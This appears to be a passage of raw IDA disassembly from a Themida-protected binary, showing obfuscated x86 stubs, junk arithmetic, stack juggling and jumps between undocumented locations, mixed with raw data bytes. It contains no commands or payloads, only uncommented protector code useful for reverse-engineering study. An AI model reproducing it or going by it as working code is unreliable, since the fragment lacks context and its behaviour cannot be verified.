; ---------------------------------------------------------------------------
		db 51h,	0B9h, 7Dh
		dd 0C16BB35Eh, 0E1C108E1h, 0ED0FE908h, 7BBAFFFFh, 0E92BAA40h
		dd 14EEh
; ---------------------------------------------------------------------------

loc_5117C4:				; CODE XREF: Themida_:0050B487j
		not	esi
		xor	esi, 856F8986h
		mov	edi, esi
		pop	esi
		dec	edi
		add	edi, 8C8FD9DFh
		jmp	loc_514DF4
; ---------------------------------------------------------------------------

loc_5117DB:				; CODE XREF: Themida_:00514309j
		push	ecx
		jmp	loc_50D69A
; ---------------------------------------------------------------------------

loc_5117E1:				; CODE XREF: Themida_:0050B46Bj
		sub	esp, 4
		mov	[esp], ecx
		not	dword ptr [esp]
		pop	ecx
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		mov	edi, [esp]
		add	esp, 4
		xor	[esp], edi
		jmp	loc_4FFEEF
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 5024248Bh, 55A7B951h, 27E91FCDh
		db 87h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511817:				; CODE XREF: Themida_:0050F9F9j
		push	edx
		push	esi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 91750D1h
		mov	esi, eax
		pop	eax
		push	ebx
		jmp	loc_510320
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 4BAh, 4CEF8100h, 162A672h, 0E722E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511842:				; CODE XREF: Themida_:005037D8j
		pop	edi
		pop	eax
		add	edi, 29A42A20h
		add	edi, ecx
		sub	edi, 29A42A20h
		jmp	loc_508B7B
; ---------------------------------------------------------------------------

loc_511857:				; CODE XREF: Themida_:00501C8Aj
		sub	ebx, 1A4B03B2h
		add	ebx, edx
		add	ebx, 1A4B03B2h
		mov	edx, [esp]
		jmp	loc_50858B
; ---------------------------------------------------------------------------
		db 68h,	25h, 66h
		dd 25586E95h, 35993AD1h, 650C602Dh, 6320054Bh, 42E9013Bh
		dd 87FFFF16h, 248B2414h, 0FA7FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511892:				; CODE XREF: Themida_:0050894Bj
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_50E0A2
; ---------------------------------------------------------------------------

loc_5118A9:				; CODE XREF: Themida_:0050ACAEj
		pop	edi
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 42340962h
		add	esi, 0BDCBF6A2h
		jmp	loc_50AF3E
; ---------------------------------------------------------------------------
		db 68h
		dd 2B51h, 0B9240C89h, 0A8878658h, 0CBE9CE31h, 81000006h
		dd 8E4EEDCEh, 0A36E958h, 0F2800000h, 8676E929h,	0BE56FFFFh
		dd 775340Fh, 0E904EEC1h, 0FFFF836Eh, 9F58FCB8h,	0AA1FE923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511902:				; CODE XREF: Themida_:00508E16j
		sub	eax, ebp
		sub	eax, 77C336CEh
		jmp	loc_50A80A
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815824h, 4, 0E01AE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51191E:				; CODE XREF: Themida_:0050E001j
		add	edx, 29EA1A82h
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 83h,	0C5h, 4
		dd 9D29E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511932:				; CODE XREF: Themida_:00506B30j
		pop	edi
		jmp	loc_50813A
; ---------------------------------------------------------------------------

loc_511938:				; CODE XREF: Themida_:005038C2j
		mov	esi, [esp]
		jmp	loc_50918A
; ---------------------------------------------------------------------------
		dd 0E9028864h, 0FFFEDECEh, 0D6F7F787h, 0FFBBAEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_511951:				; CODE XREF: Themida_:00511517j
		pop	edi
		add	ecx, 631224E1h
		mov	ebp, [esp]
		push	edx
		push	esp
		pop	edx
		jmp	loc_513414
; ---------------------------------------------------------------------------

loc_511963:				; CODE XREF: Themida_:0050560Aj
		xor	esi, 1D930F6Eh
		push	ebx
		jmp	loc_507EC1
; ---------------------------------------------------------------------------

loc_51196F:				; CODE XREF: Themida_:00509C13j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_5050FC
; ---------------------------------------------------------------------------
		db 5Ah
		dd 5B1AC281h, 0C8B6F64h, 4C48324h, 0FEDF12E9h, 7EBD55FFh
		dd 312A2912h, 0C3895DE8h, 5BD80158h, 3304C083h,	0DAE92404h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5119A7:				; CODE XREF: Themida_:00507E29j
		mov	edi, 7F8700DBh
		jmp	loc_50B518
; ---------------------------------------------------------------------------
		db 30h,	0FAh, 5Bh
		dd 0DCE9EA00h
		db 85h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5119BB:				; CODE XREF: Themida_:0050F49Cj
		pop	ebp
		push	ecx
		mov	ecx, 20E2315Eh
		jmp	loc_50F6B3
; ---------------------------------------------------------------------------

loc_5119C7:				; CODE XREF: Themida_:0050EB5Ej
		add	esp, 4
		neg	ebp
		shr	ebp, 1
		jmp	loc_513098
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 71623507h, 315AD389h, 69255BD8h, 0E969BE08h,	0FFFFBA03h
; ---------------------------------------------------------------------------

loc_5119EC:				; CODE XREF: Themida_:00511CA9j
		add	edx, 0BB3CE42Eh
		mov	esi, edx
		mov	edx, [esp]
		jmp	loc_5017FF
; ---------------------------------------------------------------------------

loc_5119FC:				; CODE XREF: Themida_:005048C1j
		push	edx
		xor	dword ptr [esp], 57D26B9Fh
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xor	esi, 57D26B9Fh
		pop	edx
		or	esi, 3F1376CFh
		sub	esp, 4
		jmp	loc_50418C
; ---------------------------------------------------------------------------

loc_511A32:				; CODE XREF: Themida_:00510049j
		add	esp, 4
		jmp	loc_5025D4
; ---------------------------------------------------------------------------
		db 4Bh,	0F7h, 0DBh
		dd 0EAEEF381h, 0D901FFF8h, 52241C8Bh, 0FFDBB5E9h, 240C8BFFh
		dd 8304C483h, 143304C2h, 24143124h, 8B241433h, 5C682424h
		dd 89000068h, 0A3E92404h, 1FFFEDDh, 1C8758C3h, 0E9595C24h
		dd 0FFFEDD96h
; ---------------------------------------------------------------------------

loc_511A80:				; CODE XREF: Themida_:0051082Cj
		sub	dl, cl
		add	dl, 2Dh
		mov	ecx, [esp]
		add	esp, 4
		add	bl, dl
		pop	edx
		add	bl, 87h
		sub	bl, 7
		add	al, 48h
		jmp	loc_50DC60
; ---------------------------------------------------------------------------

loc_511A9E:				; CODE XREF: Themida_:00512208j
		push	ebp
		xor	dword ptr [esp], 5A28529Fh
		jmp	loc_50CA69
; ---------------------------------------------------------------------------
		db 2Dh
		dd 0A5C580Bh, 6425BD55h, 0BB532859h, 1C027AD7h,	76BFEB81h
		dd 1E9F8C6h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511AC7:				; CODE XREF: Themida_:0050393Aj
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	[esp+4], edx
		pop	edx
		pop	ecx
		add	ecx, 4
		push	edi
		mov	edi, 4
		jmp	loc_50A286
; ---------------------------------------------------------------------------
		db 29h
		dd 5AD189CAh, 26FAE981h, 0B8500439h, 399E3200h,	0F740D0F7h
		dd 6F1E9D0h, 5A66FFFFh,	7E5F68h, 87EDE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511B0E:				; CODE XREF: Themida_:00502415j
		push	ecx
		jmp	loc_5113F0
; ---------------------------------------------------------------------------

loc_511B14:				; CODE XREF: Themida_:00501B6Cj
		mov	eax, esp
		jmp	loc_512E20
; ---------------------------------------------------------------------------
aZhJ		db 'Zh>J',0
		dd 24148900h, 766EABBAh, 0E9D10119h, 0FFFF5AF9h
; ---------------------------------------------------------------------------

loc_511B30:				; CODE XREF: Themida_:0050973Cj
		pop	dword ptr [esp]
		push	ebx
		mov	ebx, 4
		add	dword ptr [esp+4], 4FFE21B9h
		add	[esp+4], ebx
		sub	dword ptr [esp+4], 4FFE21B9h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		pop	edx
		add	edx, 4
		jmp	loc_506F53
; ---------------------------------------------------------------------------

loc_511B60:				; CODE XREF: Themida_:0050E539j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_513D4A
; ---------------------------------------------------------------------------

loc_511B6E:				; CODE XREF: Themida_:0050C3FBj
		jmp	loc_4FF816
; ---------------------------------------------------------------------------
		db 53h
		dd 516666B7h, 0CF084AB1h, 0F7805966h, 0DD5CE9DBh, 0B951FFFFh
		dd 9DD3380h, 0E44A23BFh, 59CF2971h, 53E9FA89h, 81FFFF82h
		dd 4C5h, 4685700h, 5F000000h, 335FFD01h, 0E4E9242Ch, 89FFFEF5h
		dd 6ABA2414h, 3102A64Ch, 0D3E95AD3h, 0BA000019h, 13837F1Eh
		dd 0FFAE4EE9h, 4BE56FFh, 1000000h, 93E95EF2h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511BDB:				; CODE XREF: Themida_:0050D589j
		pop	esp
		jmp	loc_50002D
; ---------------------------------------------------------------------------
		db 5Ah,	28h, 0C3h
		dd 8108EB80h, 4ECh, 24148900h, 69B25251h, 0E9FFC280h, 0FFFF8D06h
; ---------------------------------------------------------------------------

loc_511BFC:				; CODE XREF: Themida_:00501DE3j
		pop	ebp
		shl	ecx, 1
		and	ecx, 467119E2h
		shr	ecx, 8
		add	ecx, 1
		neg	ecx
		push	3B6h
		mov	[esp], esi
		jmp	loc_508028
; ---------------------------------------------------------------------------
		dw 0C683h
		dd 0F0F0E904h, 5158FFFFh, 0FEFE66E9h, 5B6852FFh, 5A43F626h
		dd 0CA81DAF7h, 2B135207h, 68C8EA81h, 0D089911Fh, 7AFBE95Ah
		dd 0ED80FFFFh, 0BFED8001h, 0E904EDC0h, 2BA6h
; ---------------------------------------------------------------------------

loc_511C54:				; CODE XREF: Themida_:00500FFCj
		add	bl, ah
		pop	eax
		movzx	eax, al
		jmp	loc_507FA1
; ---------------------------------------------------------------------------
		db 51h
		dd 2B9h, 5FC70500h, 0C8014F69h,	695FC72Dh, 487594Fh, 4CE95C24h
		dd 81FFFF0Fh, 53DBCAC5h, 0C5C181CEh, 130240Eh, 438CE9E9h
		dd 0D668FFFFh, 8B44C31Bh
		db 14h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5119EC
; ---------------------------------------------------------------------------
		dw 0EB00h
		dd 240C8B66h, 2C481h, 52660000h, 8904EC83h, 9BE9240Ch
		dd 8FFFFF50h, 0BF572404h, 62CD570Ch, 709CC781h,	0C7817062h
		dd 551F449Fh, 0FFF0DBE9h, 11C180FFh, 5F9C6866h,	24148966h
		dd 0F13039B6h, 24148B66h, 81E28952h, 4C2h, 0B201E900h
		dd 1D2DFFFFh, 5A5F687Fh, 11E9C201h, 8BFFFF1Bh, 0C483241Ch
		dd 24048F04h, 0FF24248Bh
		db 34h,	24h, 59h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	2350h
		jmp	loc_507C56
; ---------------------------------------------------------------------------
		dd 2884045Ah, 2C842CD8h, 772FE95Dh, 6664FFFFh, 0D3E90289h
		dd 5CFFFEDAh, 0F7664D66h, 0ED8166D5h, 55660001h, 2414F766h
		dd 0FF5B0CE9h, 5DEE89FFh, 348BF389h, 2CE95524h
		db 0DEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_511D67:				; CODE XREF: Themida_:0050C1FFj
		or	bh, 59h
		xor	bh, 0C7h
		push	ecx
		mov	cl, bh
		jmp	loc_5023C8
; ---------------------------------------------------------------------------

loc_511D75:				; CODE XREF: Themida_:00505447j
		add	esi, ecx
		jmp	loc_5129EF
; ---------------------------------------------------------------------------
		dd 1C477A25h, 6762D34h,	6CE9340Ch, 81FFFFCCh, 0B3FF93EBh
		dd 1BECE9F3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511D96:				; CODE XREF: Themida_:00505A36j
		sub	dword ptr [esp+4], 2A715CC7h
		push	edx
		mov	edx, 56802007h
		jmp	loc_511FC4
; ---------------------------------------------------------------------------
		db 53h,	51h, 52h
		dd 117C68BAh, 5AD18916h, 5159CB89h, 1F49BEB9h, 59C80115h
		dd 0BD55D801h, 151F49BEh, 5B5DE829h, 8B2434FFh,	0D168241Ch
		dd 8900003Fh, 5954240Ch, 0FF72ECE9h, 0B3C681FFh, 17DD935h
		dd 98685EF5h, 89000024h, 0BE56241Ch, 29E73125h,	67DD6852h
		dd 0EFE97829h, 81FFFF63h, 4ECh,	241C8900h, 0FF4480E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_511E11:				; CODE XREF: Themida_:005023B9j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_514741
; ---------------------------------------------------------------------------
		db 88h
		dd 1E958E5h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_511E27:				; CODE XREF: Themida_:00500C43j
		xchg	eax, [esp]
		jmp	loc_50437C
; ---------------------------------------------------------------------------

loc_511E2F:				; CODE XREF: Themida_:00504859j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ax
		push	ecx
		sub	esp, 4
		jmp	loc_50FBA1
; ---------------------------------------------------------------------------

loc_511E44:				; CODE XREF: Themida_:0050DB90j
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_50F7D7
; ---------------------------------------------------------------------------

loc_511E5A:				; CODE XREF: Themida_:0050809Bj
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		jmp	loc_5024B4
; ---------------------------------------------------------------------------

loc_511E66:				; CODE XREF: Themida_:00511682j
		pop	eax
		inc	eax
		sub	eax, 0D5958D4Dh
		mov	edi, eax
		pop	eax
		jmp	loc_50D779
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 0D9h
		dd 8B4BA956h
		db 3Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_514817
; ---------------------------------------------------------------------------

loc_511E86:				; CODE XREF: Themida_:00509730j
		pop	ebx
		sub	cl, 0A7h
		sub	cl, bl
		add	cl, 0A7h
		jmp	loc_504849
; ---------------------------------------------------------------------------

loc_511E94:				; CODE XREF: Themida_:00502A7Bj
		shr	eax, 0Ch
		xor	eax, ecx
		push	4921h
		mov	[esp], eax
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	esi
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		mov	esi, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_50709D
; ---------------------------------------------------------------------------
		dd 5250DDF6h, 0D4885CB2h, 0BC4805Ah, 5FB353h, 0ED805BDCh
		dd 80E500D6h, 2C58D6C5h, 0E32C47h, 0E3B551E8h, 0C8BE800h
		dd 4C48124h, 0E9000000h, 2BF3h
; ---------------------------------------------------------------------------

loc_511F14:				; CODE XREF: Themida_:0050E7DDj
		xor	edx, 6D8831CFh
		add	ebp, edx
		pop	edx
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	ebx
		mov	bl, 8Dh
		shl	bl, 7
		or	bl, 4Ah
		neg	bl
		xor	bl, 0E4h
		sub	al, bl
		pop	ebx
		add	al, bl
		push	ecx
		mov	ch, 0A4h
		add	ch, 44h
		sub	ch, 16h
		jmp	loc_50AB15
; ---------------------------------------------------------------------------

loc_511F51:				; CODE XREF: Themida_:00507C6Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_4FF930
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 5C240C33h, 89240489h, 0B6768E0h, 1C890000h
		dd 0F6B85024h, 0E96EDF18h, 1D1Ch, 0FED88DE9h, 241C8BFFh
		dd 0FFA352E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_511F91:				; CODE XREF: Themida_:00510F19j
		add	ebp, 4
		jmp	loc_50516D
; ---------------------------------------------------------------------------
		dd 0E9FAE957h, 6859FFFFh, 2719h, 68243489h, 3BEEh, 52241C89h
		dd 0EE4A2FBAh, 1BC28168h, 0E9D4D907h, 0FFFF0E18h
; ---------------------------------------------------------------------------

loc_511FC4:				; CODE XREF: Themida_:00511DA4j
		sub	[esp+8], edx
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		pop	eax
		push	edi
		push	15E90ACCh
		pop	edi
		push	ebx
		mov	ebx, 65C046B5h
		and	edi, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_512FBD
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 51000000h, 42474FFh,	24048F59h, 0E9E9315Ch
		dd 0FFFEEB47h
; ---------------------------------------------------------------------------

loc_512018:				; CODE XREF: Themida_:0050D303j
		mov	esp, [esp]
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_508EDE
; ---------------------------------------------------------------------------
		db 31h,	0C1h, 0E9h
		dd 0FFFFCAC7h, 151685Ch, 1C890000h, 14685024h, 8B1EE134h
		dd 73E92404h, 0FFFF24h,	11EB80D3h, 5D2A685Ah, 4890000h
		dd 0E970B024h, 0FFFFF2B1h, 0FF2434FFh, 34FF2434h, 0C4815924h
		dd 4, 0FF53D9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51206D:				; CODE XREF: Themida_:00510FF1j
		add	ecx, 18273D93h
		dec	ecx
		xor	ecx, 508F6D59h
		sub	ecx, 0FFFFFFFFh
		not	ecx
		push	eax
		mov	eax, 3353F067h
		sub	ecx, eax
		pop	eax
		mov	edi, ecx
		mov	ecx, [esp]
		jmp	loc_504B03
; ---------------------------------------------------------------------------

loc_512092:				; CODE XREF: Themida_:00506389j
		pop	esi
		xor	ecx, ebx
		jmp	loc_50DFF5
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 0FFE746E9h, 5FFD01FFh, 0A31AC581h, 0C28152E1h, 1C9861B0h
		dd 0EA81EA01h, 1C9861B0h, 83242C8Bh, 0EA8104C4h, 4, 8B241487h
		dd 4892424h, 5585424h, 4, 3302C083h, 4312404h, 58E0E924h
		dd 0BB53FFFFh, 113D404Bh, 4B02EBC1h, 2790CB81h,	0D3F70EC4h
		dd 7792C381h, 0CB290ECFh, 0E95BD987h, 0FFFF0765h, 1CC16866h
		dd 242C8966h, 2474FF66h, 2C8B6602h, 56016824h, 1C890000h
		dd 51E38924h, 4B9h, 0E9CB0100h,	0FFFF16C3h, 1388BF57h
		dd 0F78112DDh, 2C5C7FE9h, 2A91BD55h, 0A9683446h, 0E9000019h
		dd 0FFFF3B0Eh
; ---------------------------------------------------------------------------

loc_512148:				; CODE XREF: Themida_:00513277j
		sub	ebx, 15176107h
		add	ebx, 0F272AE8h
		pop	ecx
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		push	esi
		mov	esi, 4CB3773Eh
		jmp	loc_5064A5
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48324h, 8B24048Fh,	8B662424h, 0BFE92414h, 0FFFFFFD0h
		dd 5B042474h, 8B24048Fh, 0BE92424h, 0AD000003h,	0FF8791E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_512199:				; CODE XREF: Themida_:0050A4FAj
		push	edi
		mov	edi, 4
		jmp	loc_50CB06
; ---------------------------------------------------------------------------
		dd 0DA89525Ah, 5B5AD189h, 5738EB81h, 0CB01325Eh, 5738BE56h
		dd 0C381325Eh, 5075105Ah, 0E955F301h, 8B8h
; ---------------------------------------------------------------------------

loc_5121C8:				; CODE XREF: Themida_:005032C7j
		push	ecx
		jmp	loc_5057F1
; ---------------------------------------------------------------------------
		dw 595Bh
		dd 80C6FE5Bh, 0B450FFEEh, 53C4FE0Fh, 0E3C0F5B3h, 80C3FE04h
		dd 0F3801CF3h, 0E9D6E94Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5121EE:				; CODE XREF: Themida_:0050B5E6j
		push	1987h
		jmp	loc_502D2B
; ---------------------------------------------------------------------------

loc_5121F8:				; CODE XREF: Themida_:0050FA29j
		mov	[esp], ebx
		mov	bh, 16h
		jmp	loc_5080FB
; ---------------------------------------------------------------------------

loc_512202:				; CODE XREF: Themida_:0050A2F6j
		mov	esp, [esp]
		mov	ebp, esi
		pop	esi
		jmp	loc_511A9E
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 24148B04h, 81E78957h, 4C7h, 4B95100h, 1000000h, 3C3359CFh
		dd 0B633E924h, 8B66FFFFh, 0EC832404h, 24348904h, 0FFAAC5E9h
		dd 240CD2FFh, 0D5D0E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_512246:				; CODE XREF: Themida_:00510961j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5126C5
; ---------------------------------------------------------------------------
		db 52h
		dd 9A413EBAh, 2454017Ch, 0E95E5A04h, 0FFFF6716h
; ---------------------------------------------------------------------------

loc_512260:				; CODE XREF: Themida_:0050F6FDj
		add	esp, 4
		push	eax
		jmp	loc_5131DD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 57000000h, 0C781E789h, 4, 4C781h, 0FF570000h, 5F042474h
		dd 8B24048Fh, 54552424h, 644F685Dh, 4890000h, 92BB5324h
		dd 0B8096D37h, 2C5801C5h, 535BD831h, 7624B951h,	5649422Fh
		dd 0FFDA42E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5122B1:				; CODE XREF: Themida_:0050E10Bj
		pop	esp
		push	edx
		mov	edx, esp
		push	eax
		jmp	loc_506D4F
; ---------------------------------------------------------------------------

loc_5122BB:				; CODE XREF: Themida_:005042E1j
		pop	esp
		xor	esi, 4C202D32h
		mov	ebp, [esp]
		push	ecx
		jmp	loc_50784F
; ---------------------------------------------------------------------------
		db 0F7h
		dd 56FFE9D1h, 0BD55FFFFh, 2, 2C8BEE89h,	4C48324h, 2505C32Dh
		dd 55F0010Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_51155A
; ---------------------------------------------------------------------------
		dw 6866h
		dd 68660FA9h, 896660ABh, 0EC832424h, 4896602h, 2686624h
		dd 66586600h, 0E90BC068h, 0FFFF0D4Dh, 8104E6C1h, 7D8FD4F6h
		dd 8BF301C6h, 63E92434h, 0BFFFFF79h, 186146A2h,	0FA7F781h
		dd 66E9045Ch
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51233B:				; CODE XREF: Themida_:0050BBD5j
		sub	esp, 4
		mov	[esp], ebp
		push	718h
		jmp	loc_50BA94
; ---------------------------------------------------------------------------
		dw 3548h
		dd 41638DCCh, 8158C131h, 0EC6D8C1h, 59CA0124h, 64B5BF57h
		dd 0F9011A23h, 57D1295Fh, 0FF2B3FE9h, 24048FFFh, 0E924248Bh
		dd 0FFFFCAEFh, 4240483h, 81242C8Bh, 4C4h, 4EC8100h, 0E9000000h
		dd 0FFFFC902h, 0F681DEF7h, 0B8DE5710h, 348BF289h, 4C48124h
		dd 0C1000000h, 0D2F707EAh, 1494E9h, 68595400h, 0D35h, 55241489h
		dd 0EF55BD68h, 0C14D5D45h, 0E58108EDh, 27A20EF4h, 0E50F581h
		dd 81550000h, 1C0E2404h, 815A31E6h, 0E61C0EEAh,	1C3AE931h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5123E6:				; CODE XREF: Themida_:0051109Bj
		push	ebx
		mov	ebx, 602D5AA3h
		mov	edi, 6F0E1CA8h
		jmp	loc_509A0B
; ---------------------------------------------------------------------------
		dw 8D35h
		dd 892AE473h, 0BD5558C1h, 2EE959E6h, 2C8BE901h,	4C48324h
		dd 0E906E9C1h, 0FFFF529Fh, 4DB5F181h, 0F18139E9h, 0C5C6E6BBh
		dd 0FFC301E9h, 243C89FFh, 2A5AE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51242E:				; CODE XREF: Themida_:005067D7j
		add	esp, 4
		push	ebx
		sub	esp, 4
		jmp	loc_50F3CD
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 81E28952h, 4C2h, 44D5E900h, 8166FFFFh, 66389DCEh
		dd 39C7E681h, 66DEF766h, 65A2C681h, 5EF38966h, 0E9D3F766h
		dd 0FFFFCCC3h
; ---------------------------------------------------------------------------

loc_512470:				; CODE XREF: Themida_:00507851j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	edi, 2F9C5E2Dh
		add	edi, esi
		sub	edi, 2F9C5E2Dh
		pop	esi
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		jmp	loc_500A8C
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 0E1895104h, 187068h,	241C8900h, 1D3127BBh, 0F3814B3Bh
		dd 41F41461h, 78685750h, 8900003Ch, 9FBA2414h, 0C11BEB72h
		dd 9CE903EAh
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5124CF:				; CODE XREF: Themida_:0050D782j
		dec	ecx
		jmp	loc_50FBAD
; ---------------------------------------------------------------------------
		db 9, 57h, 1Ch
		dd 0E92434FFh, 0FFFEEC75h
; ---------------------------------------------------------------------------

loc_5124E0:				; CODE XREF: Themida_:00506736j
		mov	[esp], esp
		push	1B2h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_50294E
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 4EC81h, 24890000h, 24048324h, 24348B04h, 0FEE2B6E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51250D:				; CODE XREF: Themida_:00504608j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		push	3AE84BBEh
		mov	esi, [esp]
		add	esp, 4
		inc	esi
		jmp	loc_507D50
; ---------------------------------------------------------------------------
		dw 1489h
		dd 7F685024h, 8B31FD1Fh, 0C4812404h, 4,	6E95053h
		db 6Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_51254B:				; CODE XREF: Themida_:0050779Fj
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5003F2
; ---------------------------------------------------------------------------
		db 89h,	0E0h, 5
		dd 4, 29C4BA52h, 0BF571D27h, 0EFB3A1Eh,	0FFB076E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_51256D:				; CODE XREF: Themida_:005066A1j
		add	ebx, ebp
		pop	ebp
		or	edx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 233A25E9h
		xor	edx, ebp
		pop	ebp
		and	eax, edx
		pop	edx
		jmp	loc_500E73
; ---------------------------------------------------------------------------
		dd 4C781h, 29E90000h, 1FFFEDDh,	0F6F9E9F7h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_512596:				; CODE XREF: Themida_:005097C4j
		add	esp, 4
		or	ecx, 26C4664Eh
		push	edi
		mov	edi, 0E74F67FFh
		jmp	loc_508AAD
; ---------------------------------------------------------------------------

loc_5125AA:				; CODE XREF: Themida_:0050F601j
		dec	edi
		shl	edi, 5
		push	eax
		mov	eax, 28DA18E4h
		add	eax, 4E484AE6h
		push	edx
		mov	edx, 73213DA6h
		sub	eax, edx
		pop	edx
		add	edi, eax
		pop	eax
		sub	ecx, 7B524E75h
		add	ecx, edi
		push	edx
		mov	edx, 7B524E75h
		add	ecx, edx
		pop	edx
		mov	edi, [esp]
		add	esp, 4
		push	28C9h
		mov	[esp], ecx
		jmp	loc_51327C
; ---------------------------------------------------------------------------
		db 0F6h, 0E1h, 66h
		dd 51CCB60Fh, 0C181E189h, 4, 4E981h, 0C330000h,	240C3124h
		dd 0E9240C33h, 0FFFFDEECh, 0E958C789h, 0FFFF9ED2h, 0C181D101h
		dd 5AE576E0h, 8124148Bh, 4C4h, 74FF5100h, 8F590424h, 248B2404h
		dd 24D36624h, 0DBE99C24h, 4EFFFED1h, 5E09C681h,	0BEE9EC42h
		dd 0F7FFFF78h, 81D787D2h, 86505EC7h, 8BFD89C4h,	92E9243Ch
		dd 81FFFFCDh, 4ECh, 242C8900h, 4B67BF57h, 0FD8953AAh, 41E5815Fh
		dd 0C12A1857h, 0E5C102EDh, 0EE58104h, 574ACE5Fh, 0E277CDBFh
		dd 0E7C14778h, 84B85006h, 31309DFEh, 0FD3158C7h, 0FEE555E9h
		dd 5A355BFFh, 19FD627h,	24048BC6h, 0E9E18951h, 0FFFF471Fh
		dd 0E904EC83h, 0FFFFBCE6h, 6F7EC581h, 0C58179F0h, 54A5342h
		dd 0FF66C8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5126C5:				; CODE XREF: Themida_:0051224Aj
		push	ecx
		jmp	loc_5149EC
; ---------------------------------------------------------------------------
		db 0FFh
		dd 43E94077h
